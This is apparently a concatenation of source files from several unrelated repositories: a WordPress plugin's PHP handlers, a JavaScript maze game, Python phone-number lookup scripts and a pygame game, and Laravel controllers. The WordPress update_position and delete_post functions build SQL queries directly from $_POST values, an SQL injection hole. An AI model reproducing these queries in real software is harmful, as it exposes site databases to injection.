wp_register_style('legacypost-style', plugins_url('/css/legacypost.css', __FILE__));
wp_register_script('jquery-draggable', plugins_url('/js/jquery-ui-1.8.20.custom.min.js', __FILE__));
wp_register_script('legacypost-script', plugins_url('/js/legacypost.js', __FILE__));
}
function legacypost_plugin_admin_styles() {
wp_enqueue_style('legacypost-style');
wp_enqueue_script('jquery');
wp_enqueue_script('jquery-draggable');
wp_enqueue_script('legacypost-script');
wp_localize_script('legacypost-script', 'LegacyPost', array('legacyNonce' => wp_create_nonce('legacypost-nonce')));
}
function update_position() {
header( "Content-Type: application/json" );
if (!wp_verify_nonce($_POST['nonce'], 'legacypost-nonce'))
die ('error');
if (current_user_can('manage_options')) {
global $wpdb;
$id = $_POST['post-id'];
$position = $_POST['post-position'];
$table = $wpdb->prefix.LegacyPost::$_table_name;
$this_position = $wpdb->get_row("SELECT position FROM $table WHERE id = $id")->position;
$other_id = $wpdb->get_row("SELECT id FROM $table WHERE position = $position")->id;
$res_old = $wpdb->update($table, array('position' => $this_position), array('id' => $other_id));
$res_new = $wpdb->update($table, array('position' => $position), array('id' => $id));
if ($res_old === false)
echo 'error old';
elseif ($res_new === false)
echo 'error new';
else
echo json_encode(array('old' => $other_id));
}
die();
}
function delete_post() {
header( "Content-Type: application/json" );
if (!wp_verify_nonce($_POST['nonce'], 'legacypost-nonce'))
die ('error');
if (current_user_can('manage_options')) {
global $wpdb;
$id = $_POST['post-id'];
$table = $wpdb->prefix.LegacyPost::$_table_name;
$result = $wpdb->query("DELETE FROM $table WHERE id = '$id'");
if ($result === false) {
echo false;
}
echo true;
}
die();
}
// MAIN
if (class_exists("LegacyPost")) {
// Install/Uninstall Hooks
register_activation_hook(__FILE__, array('LegacyPost', 'install'));
register_deactivation_hook(__FILE__, array('LegacyPost', 'uninstall'));
// Admin Menu Action
add_action('admin_enqueue_scripts', 'legacypost_add_admin_panel_scripts');
add_action('admin_menu', 'legacypost_add_admin_panel');
add_action('wp_ajax_update_position_submit', 'update_position');
add_action('wp_ajax_delete_post_submit', 'delete_post');
}
|
c7087479f66e6482010056d544257507f7af4dc4
|
[
"JavaScript",
"PHP"
] | 5 |
PHP
|
egstudio/legacypost
|
d2bf9ceb0b56985078596b3545bef9ea9c87222c
|
40d8ca9461a41d727d0576caa97dfdff43419a29
|
refs/heads/main
|
<repo_name>Destrokhen-main/Laberint<file_sep>/lab.js
function create_map(w,h){
let map = [];
for (let y = 0;y != h;y++){
let a = [];
for (let x = 0;x != w;x++){
a.push({
left : true,
bottom : true,
visited : false,
y : y,
x : x,
distans : 0,
player : false,
way : false,
finall : false,
});
}
map.push(a);
}
return map;
}
function randint(min, max) {
return Math.round(min - 0.5 + Math.random() * (max - min + 1));
}
function finish(){
let start = map[0][0];
for (let x = 0; x != w-2;x++){
if(map[0][x].distans > start.distans) {start = map[0][x]}
if(map[h-2][x].distans > start.distans) {start = map[0][x]}
}
for (let y = 0; y != h-2;y++){
if(map[y][0].distans > start.distans) {start = map[y][0]}
if(map[y][w-2].distans > start.distans) {start = map[y][w-2]}
}
if(start.x == 0) map[start.y][start.x].left = false;
else if (start.y == 0) map[start.y][start.x].bottom = false;
else if (start.x == w-2) map[start.y][start.x+1].left = false;
else if (start.y == h-2) map[start.y+1][start.x].left = false;
start.finall = true;
}
var w = 20;
var h = 20;
var show_map = false;
var map = create_map(h,w);
map[0][0].player = true;
var current_player = map[0][0];
create_lab();
finish();
draw_map();
function check_wall(cx,cy,y,x){
if (x == 1 && map[cy][cx+1].left == false)
return true;
else if (x == -1 && map[cy][cx].left == false)
return true;
else if (y == 1 && map[cy][cx].bottom == false)
return true;
else if (y == -1 && map[cy-1][cx].bottom == false)
return true;
}
window.addEventListener('keydown', function(e){
let cx = current_player.x;
let cy = current_player.y;
let x;
let y;
if(e.key == "w") {
x = 0;
y = -1;
} else if (e.key == "a") {
y = 0;
x = -1;
} else if (e.key == "d") {
y = 0;
x = 1;
} else if (e.key == "s") {
x = 0;
y = 1;
}
if(x == 1 && cx+1 < w) {
if(check_wall(cx,cy,y,x)) {
map[cy][cx].player = false;
map[cy][cx].way = true;
map[cy][cx+1].player = true;
current_player = map[cy][cx+1];
}
} else if (x == -1 && cx-1 >= 0) {
if(check_wall(cx,cy,y,x)) {
map[cy][cx].player = false
map[cy][cx].way = true;
map[cy][cx-1].player = true;
current_player = map[cy][cx-1];
}
} else if (y == 1 && cy+1 < h) {
if(check_wall(cx,cy,y,x)) {
map[cy][cx].player = false
map[cy][cx].way = true;
map[cy+1][cx].player = true;
current_player = map[cy+1][cx];
}
} else if (y == -1 && cy-1 < h) {
if(check_wall(cx,cy,y,x)) {
map[cy][cx].player = false;
map[cy][cx].way = true;
map[cy-1][cx].player = true;
current_player = map[cy-1][cx];
}
}
if(current_player.finall == true) {
alert('Отлично, ты прошёл');
location.reload();
}
draw_map();
})
function remwall(a,b) {
if(a.x == b.x) {
if(a.y > b.y) map[b.y][b.x].bottom = false;
else map[a.y][a.x].bottom = false;
} else {
if (a.x > b.x) map[a.y][a.x].left = false;
else map[b.y][b.x].left = false;
}
}
function create_lab() {
let current = map[0][0];
current.visited = true;
current.distans = 0;
let stask = [];
do {
let neigb = [];
let x = current.x;
let y = current.y;
if(x > 0 && !map[y][x-1].visited) {neigb.push(map[y][x-1]);}
if(y > 1 && !map[y-1][x].visited) {neigb.push(map[y-1][x]);}
if(x < w-2 && !map[y][x+1].visited) {neigb.push(map[y][x+1]);}
if(y < h-2 && !map[y+1][x].visited) {neigb.push(map[y+1][x]);}
if(neigb.length > 0) {
let chosen = neigb[randint(0,neigb.length-1)];
remwall(current, chosen);
chosen.visited = true;
stask.push(current);
chosen.distans = stask.length;
current = chosen;
} else {
current = stask.pop();
}
} while (stask.length > 0)
return map;
}
function draw_map(){
for (let x = 0; x != w;x++){
map[0][x].left = false;
map[h-1][x].left = false;
map[h-1][x].bottom = false;
}
for (let y = 0 ; y != h;y++){
map[y][w-1].bottom = false;
}
let object = document.getElementById("block");
object.innerHTML = "";
for(let y = 0; y != h;y++){
let tr = document.createElement('tr');
for(let x = 0; x != w; x++){
let td = document.createElement("td");
if(map[y][x].left == true) td.style.borderLeft = "1px solid black";
if(map[y][x].bottom == true) td.style.borderBottom = "1px solid black";
if(map[y][x].player == true) {
td.innerText = "@";
} else {
td.innerText = "@";
td.style.color = "white";
}
if(map[y][x].way == true && map[y][x].player == false) {
if(show_map) td.style.color = "green";
}
tr.appendChild(td);
}
object.appendChild(tr);
}
}
document.getElementById('show').addEventListener('click',function(e){
let element = document.getElementById('show');
if(element.getAttribute('tg') == 0){
element.setAttribute('tg','1');
element.innerText = "Скрыть путь";
show_map = true;
} else {
element.setAttribute('tg','0');
element.innerText = "Показать путь";
show_map = false;
}
});
<file_sep>/README.md
## Результат (50 на 50 карта)

|
b267cd146a24334e40000ce5818149d22d2728df
|
[
"JavaScript",
"Markdown"
] | 2 |
JavaScript
|
Destrokhen-main/Laberint
|
65c5e59bec462d012ba01c41c7b6c3813da4a3ff
|
2ffb45a724d9376d28842c3d5357814418d9421f
|
refs/heads/master
|
<repo_name>ManuAT/Location-and-Service-Provider-Finder<file_sep>/Location and Service Provider Finder/GUI version.py
# inserting header files
from Tkinter import*
import tkFont as tkfont
from PIL import ImageTk, Image
import sqlite3
root = Tk()
root.title("FIND SERVICE PROVIDER AND LOCATION AND LOCTION VIA STD & ISD")
root.resizable(width=FALSE,height=FALSE)
root.geometry('640x720')
title_font = tkfont.Font(family='Helvetica', size=20, weight="bold", slant="italic")
sub_font = tkfont.Font(family='arial', size=12, slant="italic")
sub_font1 = tkfont.Font(family='arial', size=10, slant="italic")
# variable intialization
value = StringVar()
value1 = StringVar()
ovalue =StringVar()
# insering icons and make it as global
idea = ImageTk.PhotoImage(Image.open("idea.png"))
im1 = Label(root, image=idea)
airtel = ImageTk.PhotoImage(Image.open("airtel.png"))
im2 = Label(root, image=airtel)
bsnl = ImageTk.PhotoImage(Image.open("bsnlgsm.png"))
im3 = Label(root, image=bsnl)
vodafone = ImageTk.PhotoImage(Image.open("vodafone.png"))
im4 = Label(root, image=vodafone)
tata = ImageTk.PhotoImage(Image.open("tatadocomo.png"))
im5 = Label(root, image=tata)
jio = ImageTk.PhotoImage(Image.open("reliancejio.png"))
im6 = Label(root, image=jio)
reliance = ImageTk.PhotoImage(Image.open("reliancemobilegsm.png"))
im7 = Label(root, image=reliance)
ukn = ImageTk.PhotoImage(Image.open("invalid.png"))
im8 = Label(root, image=ukn)
# funtion to call icon of service provider
def icon(x):
global ImageTk
if x==8:
im1.pack()
elif x==2:
im2.pack()
elif x==3:
im3.pack()
elif x==22:
im4.pack()
elif x==17:
im5 .pack()
elif x==24:
im6.pack()
elif x==12:
im7.pack()
else:
im8.pack()
label1 = Label(root, text="");
label2 = Label(root, text="");
label3 = Label(root, text="");
label4 = Label(root, text="");
label5 = Label(root, text="");
tx = Label(root, text="");
# function for call indian numbers
def india():
global label1, label2, label3, label4 ,label5
global icon
xtext = value.get()
l = []
l = xtext
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM mobileNumberfinder where mobilenumber = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
tx.pack()
label2.config(text="LOCATION :"+i[2]);
label3.config(text="LATITUDE :"+i[4]+" "+"LONGITUDE :"+i[5]);
label2.pack()
label3.pack()
tx.pack()
label1.config(text="SERVICE PROVIDER :"+i[1]);
label1.pack()
tx.pack()
icon(i[3])
# funtion for other numbers
def other():
global label1, label2, label3, label4, label5
xtext = value.get()
l = []
l = xtext
le = len(l)
num = l[0:3]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM mobileNumberfinder where mobilenumber = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
tx.pack()
label2.config(text="LOCATION :" + i[2]);
label3.config(text="LATITUDE :" + i[4] + " " + "LONGITUDE :" + i[5]);
label2.pack()
label3.pack()
tx.pack()
label1.config(text="SERVICE PROVIDER :" + i[1]);
label1.pack()
tx.pack()
icon(i[3])
# funtion of isd
def isd():
global label1, label2, label3, label4, label5
xtext = value1.get()
l = []
l = xtext
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM isdcodes where isdcode = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
l = "LOCATION \n _______________\n"
for i in result:
l+=i[0]+"\n"
label1.config(text=l);
label1.pack()
# function of std()
def std():
global label1, label2, label3, label4, label5
xtext = value1.get()
l = []
l = xtext
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db') #connecting data base
cursor = con.cursor()
nam1 = ("SELECT * FROM stdcodes where stdcode = ?") #query for sqllite
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
label1.config(text="LOCATION :"+i[0]);
label1.pack()
# function to call std and isd
def fn2():
value.set("")
im1.pack_forget()
im2.pack_forget()
im3.pack_forget()
im4.pack_forget()
im5.pack_forget()
im6.pack_forget()
im7.pack_forget()
im8.pack_forget()
label1.pack_forget()
label2.pack_forget()
label3.pack_forget()
label4.pack_forget()
label5.pack_forget()
ovalue = selected1.get()
if ovalue == "STD":
std()
else:
isd()
return
# function to call fs
def fn():
value1.set("")
im1.pack_forget()
im2.pack_forget()
im3.pack_forget()
im4.pack_forget()
im5.pack_forget()
im6.pack_forget()
im7.pack_forget()
im8.pack_forget()
label1.pack_forget()
label2.pack_forget()
label3.pack_forget()
label4.pack_forget()
label5.pack_forget()
ovalue = selected.get()
if ovalue == "INDIA":
india()
else:
other()
return
# for triger using Enter key
def callback(event):
z ='{k!r}'.format(k=event.char)
if(ord(event.char) ==13):
fn()
def callback1(event):
z ='{k!r}'.format(k=event.char)
if(ord(event.char) ==13):
fn2()
# fs widgets......
Label(root,text=" ").pack()
label = Label(root, text="FIND SERVICE PROVIDER AND LOCATION",font=title_font).pack()
Label(root,text=" ").pack()
list = ["INDIA","US","CANDA","PAKISTAN"]
selected = StringVar()
selected.set(list[0])
Label(root,text="SELECT A COUNTRY",font=sub_font).pack()
menu = OptionMenu(root,selected,*list)
menu.pack()
Label(root,text=" ").pack()
Label(root,text="ENTER THE MOBILE NUMBER",font=sub_font1).pack()
text = Entry(root,textvariable=value,font=sub_font)
text.bind('<Key>',callback)
text.pack()
Label(root,text=" ").pack()
but = Button(root,text="SEARCH",font=sub_font,command=fn).pack()
# std&sd.widgets ...........
Label(root,text=" ").pack()
labels = Label(root, text="FIND LOCATION VIA STD & ISD",font=title_font).pack()
Label(root,text=" ").pack()
list = ["STD","ISD"]
selected1 = StringVar()
selected1.set(list[0])
Label(root,text="SELECT ISD OR ISD",font=sub_font).pack()
menu1 = OptionMenu(root,selected1,*list)
menu1.pack()
Label(root,text=" ").pack()
Label(root,text="ENTER THE CODE",font=sub_font1).pack()
text1 = Entry(root,textvariable=value1,font=sub_font)
text1.bind('<Key>',callback1)
text1.pack()
Label(root,text=" ").pack()
but1 = Button(root,text="SEARCH",font=sub_font,command=fn2).pack()
Label(root,text=" ").pack()
root.mainloop()
<file_sep>/README.md
# Location-and-Service-Provider-Finder
# Doing as part of my icps micro project
# My first github repository (:
# it is a python 2 baised program,
# made use of database (sqlite)
# !!! remember!!!
# Gui version Based on Tkinter
# Have to install that Package with it
# !!!TO use GUI INSTALL PIL-1.1.7.win32-py2.7 # Package With it
# Command line simple as it (:
<file_sep>/Location and Service Provider Finder/cmdstyle.py
import sqlite3
def india():
print "Enter the mobile number"
n = raw_input()
l = []
l = n
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM mobileNumberfinder where mobilenumber = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
print "SERVICE PROVIDER IS :",i[1]
print "LOCATION IS :",i[2]
print "LATITUDE :",i[4],"LONGITUDE :",i[5]
def other():
print "Enter the mobile number"
n = raw_input()
l = []
l = n
le = len(l)
num = l[0:3]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM mobileNumberfinder where mobilenumber = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
print "SERVICE PROVIDER IS :", i[1]
print "LOCATION IS :", i[2]
print "LATITUDE :", i[4], "LONGITUDE :", i[5]
def isd():
print "ENTER THE ISD CODE"
n = raw_input()
l = []
l = n
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM isdcodes where isdcode = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
print "LOCATIONS :"
if result:
for i in result:
print i[0]
def std():
print "ENTER THE STD CODE"
n = raw_input()
l = []
l = n
le = len(l)
num = l[0:4]
con = sqlite3.connect('data.db')
cursor = con.cursor()
nam1 = ("SELECT * FROM stdcodes where stdcode = ?")
cursor.execute(nam1, [(num)])
result = cursor.fetchall()
if result:
for i in result:
print "LOCATION IS:",i[0]
print "FIND LOCATION AND SERVICE PROVIDER OF MOBILE NUMBER AND FIND LOCATION VIA STD & ISD \n"
print "SELECT A POTION"
print "1=>FIND LOCATION AND SERVICE PROVIDER OF MOBILE NUMBER 2=>FIND LOCATION VIA STD & ISD"
a = input()
if a==1:
print "SELECT YOUR COUNTRY"
print "1=>INDIA 2=>US 3=>CANDA 4=>PAKISTAN"
x =input()
if x==1:
india()
elif 1<x<=4:
other()
else:
print "INVALID INPUT"
elif a==2:
print "SELECT STD OR ISD"
print "1=>STD 2=>ISD"
y= input()
if y==1:
std()
elif y==2:
isd()
else:
print "INVALID INPUT"
else:
print "INVALID INPUT"
|
5c4caf6613e920f7d384acc08f31807dff52e794
|
[
"Markdown",
"Python"
] | 3 |
Python
|
ManuAT/Location-and-Service-Provider-Finder
|
30cbb50aed86403891584b21ed78a4dae27d70a2
|
10507842ef4595e71b6c9fbd93071338b034d3c7
|
refs/heads/master
|
<repo_name>FlugelTeam/storm-front<file_sep>/app/src/components/version/version.js
'use strict';
angular.module('flugel.version', [
'flugel.version.interpolate-filter',
'flugel.version.version-directive'
])
.value('version', '0.1');
<file_sep>/app/src/core/services/index.js
'use strict';
angular.module('flugel.services', ['ngResource'])
.factory('Config', function () {
return {
version : '0.0.1',
ip: location.hostname,
port: 5000,
protocol: 'http'
};
})
.factory('Token',['$resource', 'Config', function ContenidoFactory($resource, Config){
return {
services : $resource('http://' + Config.ip + ':' + Config.port + '/services'),
tokens : $resource('http://' + Config.ip + ':' + Config.port + '/tokens'),
callToken : $resource('http://' + Config.ip + ':' + Config.port + '/callToken', {}, { update: {method: 'PUT'}}),
takeToken : $resource('http://' + Config.ip + ':' + Config.port + '/takeToken', {}, { update: {method: 'PUT'}}),
closeToken : $resource('http://' + Config.ip + ':' + Config.port + '/closeToken', {}, { update: {method: 'PUT'}})
// calificaciones: $resource('http://' + Config.ip + ':' + Config.port + '/' + Config.version + '/docente/calificaciones.json', {}, { update: {method: 'PUT'}}),
// notas: $resource('http://' + Config.ip + ':' + Config.port + '/' + Config.version +'/docente/notas.json', {}, { update: {method: 'PUT'}}),
// estudiantes: $resource('http://' + Config.ip + ':' + Config.port + '/' + Config.version +'/docente/estudiante.json', {}, { update: {method: 'PUT'}}),
// asistencia: $resource('http://' + Config.ip + ':' + Config.port + '/' + Config.version + '/docente/asistencia.json')
};
}]);
<file_sep>/serve.js
var express = require('express'),
app = express(),
server = require('http').createServer(app),
io = require('socket.io')(server),
port = 8000;
app.use(express.static(__dirname + '/app'));
app.use('/bower_components', express.static(__dirname + '/bower_components'));
io.on('connection', function(socket){
console.log('a user connected');
});
server.listen(port, function(){
console.log('Listen on Port ' + port);
});
<file_sep>/app/src/components/tokenScreen/tokenScreen.js
'use strict';
angular
.module('flugel.components.tokenScreen', [])
.directive('fgTokenScreen', fgKeyboardDirective);
function fgKeyboardDirective() {
return {
retrict: 'E',
scope: {},
controller: tokenScreenCtrl,
templateUrl: 'src/components/tokenScreen/tokenScreen.html',
link: tokenScreenLink
};
}
function tokenScreenCtrl($scope, $element, $attrs, Token, Config) {
$scope.pendingTokens = [];
//var socket = io('http://192.168.1.71:5000');
var socket = io(Config.protocol + '://' + Config.ip + ':' + Config.port);
Token.tokens.query({state: 0}, function (data) {
$scope.pendingTokens = data;
console.log(data);
});
socket.on('newToken', function (data) {
console.log(data);
Token.tokens.query({state: 0}, function (data) {
$scope.pendingTokens = data;
});
});
socket.on('takeToken', function () {
Token.tokens.query({state: 0}, function (data) {
$scope.pendingTokens = data;
});
});
}
function tokenScreenLink(scope, element, attrs) {
}
<file_sep>/app/src/views/tokenGenerationView/dialog.html
<div layout="row" flex-sm="100" flex-md="60" flex-gt-md="50" layout-align="center center">
<md-dialog aria-label="List dialog">
<md-dialog-content>
<div ng-hide="showTokenResult">
<h3>{{"Confirmar petición de turno" | uppercase}}</h3>
<md-list-item class="md-2-line" ng-show="dataCustomer.token.screenName">
<div class="md-list-item-text">
<h3> {{ dataCustomer.token.screenName }} </h3>
<p style="color:#777">{{"Nombre usuario" | uppercase}}</p>
</div>
</md-list-item>
<md-divider ng-show="dataCustomer.token.screenName"></md-divider>
<md-list-item class="md-2-line">
<div class="md-list-item-text">
<h3> {{dataCustomer.token.lineNumber}} </h3>
<p style="color:#777">{{"Número de la linea" | uppercase}}</p>
</div>
</md-list-item>
<md-divider></md-divider>
<md-list-item class="md-3-line">
<div class="md-list-item-text">
<h3 style="line-height: 1.3em;"> {{dataCustomer.service.service.serviceName}} </h3>
<p style="color:#777">{{"Motivo de la visita" | uppercase}}</p>
</div>
</md-list-item>
</div>
<div ng-show="showTokenResult">
<h3>{{"Su turno Asignado es:" | uppercase}}</h3>
<h1 class="md-display-3" layout="row" layout-align="center center">
{{generatedToken.idToken.numerator + generatedToken.idToken.consecutive}}
</h1>
</div>
</md-dialog-content>
<div class="md-actions" >
<md-button ng-hide="showTokenResult" ng-click="cancel()" class="md-primary md-warn" >Cancelar</md-button>
<md-button ng-hide="showTokenResult" ng-click="tokenGeneration()" class="md-primary md-raised" >Generar</md-button>
<md-button ng-show="showTokenResult" ng-click="answer('ok')" class="md-primary md-raised" >Aceptar</md-button>
</div>
</md-dialog>
</div>
<file_sep>/app/src/components/components.js
angular
.module('flugel.components',[
'flugel.components.keyboard',
'flugel.components.tokenScreen',
'flugel.components.longpress',
'flugel.components.tokenManagement',
'flugel.components.manageServices'
]);
<file_sep>/app/app.js
'use strict';
// Declare app level module which depends on views, and components
angular.module('flugel', [
'ngRoute',
'ngMaterial',
'flugel.services',
'flugel.view1',
'flugel.view2',
'flugel.version',
'flugel.components',
]).
config(['$routeProvider', function($routeProvider) {
$routeProvider.otherwise({redirectTo: '/view1'});
}]);
<file_sep>/app/src/views/tokenGenerationView/tokenGeneration.js
'use strict';
angular.module('flugel.view1', ['ngRoute'])
.config(['$routeProvider', function($routeProvider) {
$routeProvider.when('/view1', {
templateUrl: 'src/views/tokenGenerationView/tokenGeneration.html',
controllerAs: 'vc1',
controller: 'TokenGenerationCtrl'
});
}])
.controller('TokenGenerationCtrl', TokenGenerationCtrl)
.controller('DialogCtrl', DialogCtrl);
TokenGenerationCtrl.$inject = ['$scope', '$mdDialog', 'Token'];
function TokenGenerationCtrl($scope, $mdDialog, Token) {
var self = this;
self.services = [];
start();
$scope.start = start;
$scope.goBackStep = goBackStep;
$scope.nextToDigitName = nextToDigitName;
$scope.digitName = digitName;
$scope.choosePurposeVisit = choosePurposeVisit;
$scope.$on('submitKeyboard', function(event, val) {
nextToDigitName(val);
});
Token.services.query(function (data) {
self.services = data;
console.log(data);
});
function start() {
self.step = 1;
self.dataCustomer = {
service:"",
token: {
lineNumber: "",
screenName:"",
adviserName: "<NAME>",
adviserLastName: "<NAME>",
adviserId: "QuiboPues"
}
};
$scope.keyboardNumber = "";
}
function goBackStep(step) {
self.step = step;
}
function nextToDigitName(val) {
self.dataCustomer.token.lineNumber = val;
self.step = 2;
}
function digitName() {
self.step = 3;
}
function choosePurposeVisit(ev, service) {
self.dataCustomer.service = service;
$mdDialog.show({
controller: DialogCtrl,
templateUrl: 'src/views/tokenGenerationView/dialog.html',
parent: angular.element(document.body),
targetEvent: ev,
clickOutsideToClose:false,
locals: { dataCustomer: self.dataCustomer }
})
.then(function(answer) {
$scope.status = 'You said the information was "' + answer + '".';
console.log($scope.status);
start();
}, function() {
$scope.status = 'You cancelled the dialog.';
console.log($scope.status);
});
}
}
DialogCtrl.$inject = ['$scope', '$mdDialog', 'dataCustomer', 'Token'];
function DialogCtrl($scope, $mdDialog, dataCustomer, Token) {
console.log(dataCustomer);
dataCustomer.token.numerator = dataCustomer.service.service.numerator;
dataCustomer.token.motivoVisita = dataCustomer.service.service.serviceName;
dataCustomer.token.service = {
serviceName: dataCustomer.service.service.serviceName,
serviceId: dataCustomer.service.service.serviceId
};
$scope.dataCustomer = dataCustomer;
$scope.showTokenResult = false;
console.log(dataCustomer);
$scope.tokenGeneration = function () {
//console.log($scope.dataCustomer.token);
Token.tokens.save($scope.dataCustomer.token, function (data) {
console.log(data.token);
$scope.generatedToken = data.token;
$scope.showTokenResult = true;
}, function (err) {
console.log(err);
});
};
$scope.closeDialog = function() {
$mdDialog.hide();
};
$scope.cancel = function() {
$mdDialog.cancel();
};
$scope.answer = function(answer) {
$mdDialog.hide(answer);
};
}
|
18014557de45ae5c98c7cd7a4238e7b777ed3725
|
[
"JavaScript",
"HTML"
] | 8 |
JavaScript
|
FlugelTeam/storm-front
|
03ad2cac0c072f4d308806a5597aba275e0891e1
|
fe8572f2a2c7152ef8d388ac0579d94b2c66a760
|
refs/heads/master
|
<file_sep>import os
file = 'unknownfiletype.065902'
# Rename a file extension
base = os.path.splitext(file)[0]
new_file = os.rename(file, base + '.txt')
|
c85ee85979227b47fcc6232a71ac8c16828736c5
|
[
"Python"
] | 1 |
Python
|
xCodeRain/Python
|
753ad5978359f76ee92809deab5aa8b17a6b7ad9
|
1a3df6cca4f7483f79d6f713d0546b27dcc764fd
|
refs/heads/master
|
<repo_name>yoshi-naoyuki/squeryl-example<file_sep>/README.md
squeryl-example
===============
##プログラムの取得
`git clone git://github.com/yoshi-naoyuki/squeryl-example.git`
##データベース作成
`mysql -u root -p < ./db/1.sql`
##実行
`gradle run`
<file_sep>/db/1.sql
drop database if exists squeryl_example;
create database squeryl_example;
grant all on squeryl_example.* to squeryl@localhost identified by 'squeryl';
|
7bf4079fd316141e2510859df3703f66b0a1aa68
|
[
"Markdown",
"SQL"
] | 2 |
Markdown
|
yoshi-naoyuki/squeryl-example
|
78ce7b2817ce2771bc500aa06d96f2dfd3110eac
|
da385b55e3f4af977c4edd203c3c046162ddf9fa
|
refs/heads/master
|
<file_sep>import pygame
import random
# color palette
black = (0, 0, 0)
yellow = (255, 255, 0)
blue = (100, 255, 255)
green = (0, 255, 0)
red = (255, 0, 0)
white = (255, 255, 255)
gray = (105, 105, 105)
navy = (0, 0, 128)
bluegray = (112, 138, 144)
# screen details
WIDTH = 700
HEIGHT = 550
FPS = 60
screensize = WIDTH, HEIGHT
GUI = pygame.display.set_mode(screensize)
pygame.display.set_caption("AVOID THE OBSTACLES")
name = "Player01"
# IN-GAME VALUES
# avatar position and movement
px = 150
py = 150
# object positions
xpos= 700
ypos = 0
# object size- randomized
width = random.randint(30, 80)
length = random.randint(30, 350)
space = random.randint(20, 100)
# speed
xspeed = 0
yspeed = 0
movespeed = 6
stopspeed = 0
pipspeed = 0
def avatar(px, py, username):
pygame.draw.rect(GUI, yellow, [px, py, 20, 10])
font = pygame.font.SysFont(None, 30)
text = font.render(username, True, red)
GUI.blit(text, [px - 40, py - 50])
def gameover():
GUI.fill(white)
font = pygame.font.SysFont(None, 60)
text = font.render("Game Over!", True, red)
text2 = font.render("Press Esc to Quit.", True, red)
GUI.blit(text, [150, 250])
GUI.blit(text2, [150, 300])
def toppipe(xpos, ypos, width, length):
pygame.draw.rect(GUI, bluegray, [xpos, ypos, width, length])
def bottompipe(xpos, ypos, width, length):
yposb = ypos+length+space
lengthb = length + 1000
pygame.draw.rect(GUI, bluegray, [xpos, yposb, width, lengthb])
def ceiling():
pygame.draw.rect(GUI, bluegray, [0, 0, 700, 50])
def ground():
pygame.draw.rect(GUI, bluegray, [0, 500, 700, 50])
def Instruction():
font = pygame.font.SysFont(None, 25)
text = font.render("Press Any Key to Begin, Up Down Left Right Arrow to Move, Avoid obstacles", True, black)
GUI.blit(text, [0, 500])
pygame.init()
gameFINISH = False
gameOVER = False
clock = pygame.time.Clock()
while not gameFINISH:
# background
GUI.fill(navy)
# top pipe
toppipe(xpos, ypos, width, length)
# bottom pipe
bottompipe(xpos, ypos, width, length)
# player
avatar(px, py, name)
# ceiling
ceiling()
# ground
ground()
# instructions
Instruction()
py += yspeed
px += xspeed
xpos -= pipspeed
for event in pygame.event.get():
if event.type == pygame.QUIT:
gameFINISH = True
# CONTROLS
if event.type == pygame.KEYDOWN:
# START MOVING PIPES
pipspeed = 4
if event.key == pygame.K_UP:
yspeed = -movespeed
if event.key == pygame.K_DOWN:
yspeed = movespeed
if event.key == pygame.K_RIGHT:
xspeed = movespeed
if event.key == pygame.K_LEFT:
xspeed = -movespeed
if event.type == pygame.KEYUP:
if event.key == pygame.K_UP:
yspeed = stopspeed
if event.key == pygame.K_DOWN:
yspeed = stopspeed
if event.key == pygame.K_RIGHT:
xspeed = stopspeed
if event.key == pygame.K_LEFT:
xspeed = stopspeed
# real-time testing
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_LEFT:
print('LEFT ARROW PRESSED')
if event.key == pygame.K_RIGHT:
print('RIGHT ARROW PRESSED')
if event.key == pygame.K_UP:
print('UP ARROW PRESSED')
if event.key == pygame.K_DOWN:
print('DOWN ARROW PRESSED')
if event.key == pygame.K_ESCAPE:
print('ESCAPE KEY PRESSED')
quit()
# COLLISIONS
# top pipe collision
if xpos - 20 < px < xpos + width and py < ypos+length:
gameOVER = True
# bottom pipe collision
if xpos - 20 < px < xpos + width and py > ypos+length+space-10:
gameOVER = True
# ceiling collision
if py <= 50:
py = 50
# ground collision
if py >= 480:
py = 480
# reset and re-randomize pipes
if xpos < -80:
xpos = 700
length = random.randint(30, 450)
space = random.randint(20, 100)
if gameOVER:
gameover()
pygame.display.flip()
clock.tick(FPS)
pygame.quit()
|
09ad68f9cf04211304e6b2af0059a12951780334
|
[
"Python"
] | 1 |
Python
|
Yuunna/Lab-Activities
|
f2756e25e895556d6500d44ec2cc1e02c79024d2
|
710dd021e8b16e159ba849bec42c57908b31a0c9
|
refs/heads/master
|
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('welcome');
});
Route::get('/about', function () {
return view('about');
});
Route::get('dashboard', 'DashboardController@index');
Route::get('post', 'PostController@index');
Route::get('post/create', 'PostController@create');
Route::post('post', 'PostController@store');
Route::get('postCategory', 'PostCategoryController@index');
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\http\Requests;
use App\Post;
class PostController extends Controller
{
public function index() {
$title = "Halaman Post";
return view('post.index', compact('title'));
}
public function create()
{
$title = "Tambah Post";
return view('post.create', compact('title'));
}
public function store(Request $request)
{
$post = new \App\Post;
$post->title = $request->title;
$post->description = $request->description;
$post->image = "";
$post->save();
return redirect('pos');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class PostCategoryController extends Controller
{
public function index() {
$title = "Halaman Post Category";
return view('postCategory.index', compact('title'));
}
}
|
